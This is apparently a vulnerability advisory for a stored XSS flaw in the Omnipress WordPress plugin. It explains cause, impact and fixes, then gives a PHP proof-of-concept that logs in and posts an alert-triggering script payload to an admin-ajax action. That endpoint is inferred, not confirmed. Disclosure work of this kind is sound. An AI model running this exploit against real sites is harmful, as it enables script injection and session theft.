Atomic Edge analysis of CVE-2026-25432 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Omnipress WordPress plugin, affecting versions up to and including 1.6.7. The vulnerability allows users with contributor-level permissions or higher to inject malicious scripts into website pages. These scripts execute when other users view the compromised pages. The CVSS score of 6.4 (Medium severity) reflects the need for authenticated access but the widespread impact across site visitors.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping, as indicated by the CWE-79 classification. This suggests the plugin likely accepts user-supplied input, such as post content or custom field data, and stores it in the database without proper validation. The plugin then retrieves and outputs this data in a frontend page context without adequate escaping. These conclusions are inferred from the CWE and description, as no source code diff is available for confirmation.
Exploitation requires an attacker to have a WordPress account with at least contributor-level privileges. The attacker would likely inject a malicious script payload into a post, page, or a custom content block managed by the Omnipress plugin. A typical payload would be a JavaScript event handler like `
` inserted into a vulnerable field. The attack vector is most probable via a POST request to an AJAX endpoint (e.g., `/wp-admin/admin-ajax.php` with an `action=omnipress_*` parameter) or a REST API endpoint (e.g., `/wp-json/omnipress/v1/*`).
Effective remediation requires implementing proper input validation and output escaping according to WordPress coding standards. The fix should sanitize user input on receipt using functions like `wp_kses_post()` or `sanitize_text_field()`, depending on the expected content type. The plugin must also escape all output on render using functions like `esc_html()` or `wp_kses()`. A patch would need to apply these measures to every instance where user-controlled data is stored and later displayed.
Successful exploitation leads to stored XSS attacks. Injected scripts execute in the browser of any user who visits the compromised page. This allows an attacker to steal session cookies, perform actions on behalf of the victim, deface the site, or redirect users to malicious domains. For sites where contributors are untrusted users, this vulnerability poses a significant risk to all visitors and can facilitate session hijacking or client-side data theft.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25432 - Omnipress <= 1.6.7 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2026-25432.
* This script simulates an authenticated attack by a contributor-level user.
* The exact vulnerable endpoint is inferred from common WordPress plugin patterns.
* Assumptions:
* 1. The plugin uses a WordPress AJAX handler with an action prefixed 'omnipress_'.
* 2. A parameter like 'content' or 'data' is vulnerable to unsanitized input.
* 3. The user has valid contributor credentials and a valid nonce (if required).
*/
$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor'; // CHANGE THIS
$password = 'password'; // CHANGE THIS
// Payload: A basic XSS proof-of-concept to trigger an alert.
$xss_payload = '<img src=x onerror=alert("Atomic_Edge_XSS")>';
// Step 1: Authenticate and obtain cookies and a nonce.
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
]);
$login_response = curl_exec($ch);
// Step 2: Attempt to fetch a nonce from an admin page (common for AJAX actions).
// This is a best-effort guess; the actual nonce location may vary.
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
CURLOPT_HTTPGET => true,
]);
$admin_page = curl_exec($ch);
// Extract a nonce (simplified pattern). In a real scenario, the nonce name would be known.
preg_match('/"nonce":"([a-f0-9]+)"/', $admin_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? 'inferred_nonce_missing';
// Step 3: Send the XSS payload to a likely vulnerable AJAX endpoint.
// The action parameter is inferred as 'omnipress_save_content'.
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'omnipress_save_content',
'nonce' => $nonce,
'content' => $xss_payload, // Assumed vulnerable parameter
'post_id' => '1' // Assumed target post ID
]),
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
// Output results.
echo "Login attempted.n";
echo "Nonce extracted (if any): " . $nonce . "n";
echo "AJAX Response: " . $ajax_response . "n";
echo "If the request succeeded, the XSS payload may be stored.n";
echo "Visit the frontend page (e.g., post ID 1) to trigger the alert.n";
?>
